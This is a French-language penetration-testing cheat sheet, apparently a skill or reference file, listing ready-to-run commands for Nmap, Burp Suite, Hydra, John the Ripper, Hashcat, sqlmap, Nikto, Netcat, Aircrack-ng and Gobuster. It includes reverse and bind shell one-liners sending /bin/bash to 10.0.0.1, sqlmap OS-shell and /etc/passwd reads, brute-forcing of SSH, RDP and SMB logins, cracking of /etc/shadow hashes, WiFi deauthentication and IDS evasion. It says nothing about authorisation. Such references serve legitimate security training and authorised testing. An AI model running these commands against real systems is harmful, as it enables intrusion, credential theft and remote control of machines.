| name | outils-pentest |
| description | Guide complet des outils de test d'intrusion — Nmap, Burp Suite, Hydra, John the Ripper, sqlmap, Nikto, Netcat, Hashcat, Aircrack-ng. Commandes, workflows, et antisèches. |
Outils de Pentest — Guide Complet
1. Nmap — Scanner de réseau
Types de scan
nmap -sS 192.168.1.1
nmap -sT 192.168.1.1
nmap -sU 192.168.1.1
nmap -sn 192.168.1.0/24
nmap -A 192.168.1.1
nmap -p- 192.168.1.1
Détection OS et services
nmap -O 192.168.1.1
nmap -sV 192.168.1.1
nmap -A 192.168.1.1
nmap -sV --version-intensity 5 192.168.1.1
Spécification de ports
nmap -p 80 192.168.1.1
nmap -p 80,443,8080 192.168.1.1
nmap -p 1-1000 192.168.1.1
nmap -p- 192.168.1.1
nmap --top-ports 100 192.168.1.1
Scripts NSE (Nmap Scripting Engine)
nmap -sC 192.168.1.1
nmap --script=vuln 192.168.1.1
nmap --script=discovery 192.168.1.0/24
nmap --script=auth 192.168.1.1
nmap --script=malware 192.168.1.1
nmap --script=safe 192.168.1.1
nmap --script=smb* 192.168.1.1
nmap --script-updatedb
Évasion de pare-feu / IDS
nmap -f 192.168.1.1
nmap -D RND:10 192.168.1.1
nmap -S 10.0.0.1 192.168.1.1
nmap --source-port 53 192.168.1.1
nmap -T4 192.168.1.1
nmap -f --mtu 16 --data-length 50 -T2 192.168.1.1
Formats de sortie
nmap -oN scan.txt 192.168.1.1
nmap -oX scan.xml 192.168.1.1
nmap -oG scan.gnmap 192.168.1.1
nmap -oA scan 192.168.1.1
nmap -oN - 192.168.1.1
2. Burp Suite — Test d'applications web
Composants principaux
| Composant | Usage |
|---|
| Proxy | Intercepter et modifier le trafic HTTP/HTTPS |
| Repeater | Renvoyer des requêtes modifiées manuellement |
| Intruder | Automatiser des attaques (bruteforce, fuzzing) |
| Decoder | Encoder/décoder (URL, Base64, Hex, etc.) |
| Comparer | Comparer deux réponses (diff visuel) |
| Sequencer | Analyser la qualité des tokens de session |
| Scanner (Pro) | Scan automatique de vulnérabilités |
Configuration du proxy
1. Proxy → Options → Listener : 127.0.0.1:8080
2. Configurer le navigateur → proxy HTTP : 127.0.0.1:8080
3. Installer le certificat CA de Burp pour HTTPS :
→ http://burpsuite → télécharger CA Certificate
→ Importer dans le navigateur comme autorité de confiance
Workflow typique
1. Proxy → Intercept ON → naviguer sur le site
2. Capturer les requêtes intéressantes → clic droit → Send to Repeater
3. Dans Repeater → modifier les paramètres → Send → analyser la réponse
4. Pour le bruteforce → Send to Intruder → configurer les positions
5. Attaque terminée → analyser les résultats (longueur, statut, etc.)
Intruder — types d'attaque
- Sniper — Une seule position, une seule wordlist
- Battering ram — Même valeur injectée à toutes les positions
- Pitchfork — Une wordlist par position (parallèle)
- Cluster bomb — Toutes les combinaisons de wordlists
Raccourcis clavier
Ctrl+R Envoyer vers Repeater
Ctrl+I Envoyer vers Intruder
Ctrl+Shift+S Envoyer vers Scanner (Pro)
Ctrl+Shift+D Envoyer vers Decoder
3. Hydra — Bruteforce de services réseau
Syntaxe de base
hydra -l <user> -P <wordlist> <cible> <protocole>
hydra -L <userlist> -p <password> <cible> <protocole>
hydra -L <userlist> -P <wordlist> <cible> <protocole>
Protocoles supportés
hydra -l root -P rockyou.txt 192.168.1.1 ssh
hydra -L users.txt -P passwords.txt 192.168.1.1 ftp
hydra -l admin -P wordlist.txt 192.168.1.1 http-post-form \
"/login.php:user=^USER^&pass=^PASS^:F=Incorrect"
hydra -l admin -P wordlist.txt 192.168.1.1 http-get /protected
hydra -l administrator -P wordlist.txt 192.168.1.1 rdp
hydra -l root -P wordlist.txt 192.168.1.1 mysql
hydra -l admin -P wordlist.txt 192.168.1.1 smb
hydra -l root -P wordlist.txt 192.168.1.1 telnet
hydra -L users.txt -P rockyou.txt -M targets.txt ssh
Options utiles
-t 4
-s 2222
-V
-vV
-f
-o resultat.txt
-w 5
4. John the Ripper — Cracking de mots de passe
Modes de base
john --single hash.txt
john --wordlist=rockyou.txt hash.txt
john --incremental hash.txt
Formats de hash
john --list=formats
john --format=raw-md5 hash.txt
john --format=raw-sha256 hash.txt
john --format=NT hash.txt
john --format=krb5tgs hash.txt
john --format=zip hash.zip
john --format=rar hash.rar
john --format=pdf hash.pdf
Préparation des hashes
unshadow /etc/passwd /etc/shadow > hashes.txt
zip2john archive.zip > zip.hash
rar2john archive.rar > rar.hash
ssh2john id_rsa > ssh.hash
pdf2john document.pdf > pdf.hash
keepass2john database.kdbx > keepass.hash
Gestion des sessions
john --show hash.txt
john --restore
john --status
Règles de mutation
john --wordlist=rockyou.txt --rules hash.txt
john --wordlist=rockyou.txt --rules=best64 hash.txt
john --wordlist=rockyou.txt --rules=KoreLogic hash.txt
5. Hashcat — Cracking GPU haute performance
Mode attaque
hashcat -m 0 -a 0 hash.txt rockyou.txt
hashcat -m 0 -a 1 hash.txt dict1.txt dict2.txt
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?d?d
hashcat -m 0 -a 6 hash.txt rockyou.txt ?d?d?d
Types de hash (-m)
0 MD5
100 SHA1
1400 SHA2-256
1700 SHA2-512
1000 NTLM (Windows)
3000 LM (Windows)
3200 bcrypt
1800 sha512crypt (Linux /etc/shadow)
13100 Kerberos 5 TGS-REP etype 23
18200 Kerberos 5 AS-REP etype 23
22000 WPA-PBKDF2-PMKID+EAPOL
11600 ZIP (WinZip)
Masques (?)
?l = minuscule (a-z)
?u = majuscule (A-Z)
?d = chiffre (0-9)
?s = caractère spécial
?a = tout caractère imprimable
?b = octet brut (0x00-0xff)
?h = hexadécimal minuscule (0-9, a-f)
?H = hexadécimal majuscule (0-9, A-F)
Conseils de performance
hashcat -I
hashcat -m 0 -a 0 -d 1 hash.txt dict.txt
hashcat -m 0 -a 0 -w 3 hash.txt dict.txt
hashcat -m 0 -a 0 --status hash.txt dict.txt
hashcat --session=monjob --restore
6. sqlmap — Injection SQL automatisée
Commandes essentielles
sqlmap -u "http://cible.com/page.php?id=1"
sqlmap -u "http://cible.com/page.php?id=1" --cookie="PHPSESSID=xxx"
sqlmap -r requete.txt
sqlmap -u "http://cible.com/page.php?id=1" --dbs
sqlmap -u "http://cible.com/page.php?id=1" -D nom_base --tables
sqlmap -u "http://cible.com/page.php?id=1" -D nom_base -T users --columns
sqlmap -u "http://cible.com/page.php?id=1" -D nom_base -T users --dump
sqlmap -u "http://cible.com/page.php?id=1" --os-shell
sqlmap -u "http://cible.com/page.php?id=1" --file-read=/etc/passwd
Optimisation et évasion
sqlmap -u "http://cible.com/page.php?id=1" --fingerprint
sqlmap -u "..." --level=5 --risk=3
sqlmap -u "..." --tamper=space2comment
sqlmap -u "..." --tamper=between,randomcase,charencode
sqlmap --list-tampers
sqlmap -u "..." --batch
7. Nikto — Scanner de vulnérabilités web
nikto -h http://cible.com
nikto -h http://cible.com -p 8080
nikto -h https://cible.com -ssl
nikto -h http://cible.com -id admin:password
nikto -h http://cible.com -o scan.html -Format html
nikto -h http://cible.com -Tuning 1
nikto -h http://cible.com -Tuning 9
nikto -update
8. Netcat — Le couteau suisse TCP/UDP
nc -lvp 4444
nc 192.168.1.10 4444
nc -lvp 4444 > fichier_recu.txt
nc 192.168.1.5 4444 < fichier.txt
nc -lvp 4444
nc -e /bin/bash 10.0.0.1 4444
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
nc -lvp 4444 -e /bin/bash
nc 192.168.1.10 4444
nc -zv 192.168.1.10 1-1000 2>&1 | grep succeeded
echo "" | nc -w 2 192.168.1.10 80
9. Aircrack-ng — Audits WiFi
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
aircrack-ng -w rockyou.txt capture-01.cap
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
hcxpcapngtool -o hash.22000 capture.pcapng
hashcat -m 22000 hash.22000 rockyou.txt
10. Gobuster / Dirb — Énumération de répertoires
gobuster dir -u http://cible.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://cible.com -w wordlist.txt -x php,html,txt,js
gobuster dir -u http://cible.com -w wordlist.txt -t 50
gobuster dns -d cible.com -w /usr/share/wordlists/subdomains.txt
dirb http://cible.com
dirb http://cible.com /usr/share/wordlists/dirb/big.txt
ffuf -u http://cible.com/FUZZ -w wordlist.txt
ffuf -u http://cible.com/FUZZ -w wordlist.txt -e .php,.html,.bak
Antisèche rapide — Workflow pentest typique
nmap -sV -sC -O -oA scan cible.com
gobuster dir -u http://cible.com -w common.txt
nikto -h http://cible.com
hydra -L users.txt -P rockyou.txt cible.com ssh
Ressources